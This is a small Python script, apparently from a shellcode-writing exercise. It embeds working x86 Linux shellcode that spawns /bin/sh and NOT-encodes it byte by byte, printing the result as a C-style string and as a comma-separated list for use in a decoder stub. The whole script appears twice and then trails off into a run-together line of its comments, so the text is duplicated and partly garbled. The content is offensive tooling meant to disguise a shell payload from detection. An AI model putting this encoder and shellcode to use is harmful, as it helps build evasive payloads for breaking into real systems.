#! /usr/bin/python
# Python NOT Encoder

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
encoded = ""
encoded2 = ""

print("Encoding shellcode...\n")

for x in bytearray(shellcode):
    # NOT Encoding
    y = ~x
    encoded += "\\x"
    encoded += "%02x" % (y & 0xff)

    encoded2 += "0x"
    encoded2 += "%02x, " % (y & 0xff)

print("Verison 1:", encoded, "\n")
print("Verison 2:", encoded2[:-2], "\n")

print("Len: %d" % len(bytearray(shellcode)))
#! /usr/bin/python
# Python NOT Encoder

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
encoded = ""
encoded2 = ""

print("Encoding shellcode...\n")

for x in bytearray(shellcode):
    # NOT Encoding
    y = ~x
    encoded += "\\x"
    encoded += "%02x" % (y & 0xff)

    encoded2 += "0x"
    encoded2 += "%02x, " % (y & 0xff)

print("Verison 1:", encoded, "\n")
print("Verison 2:", encoded2[:-2], "\n")

print("Len: %d" % len(bytearray(shellcode)))
#! /usr/bin/python # Python NOT Encoder # NOT Encoding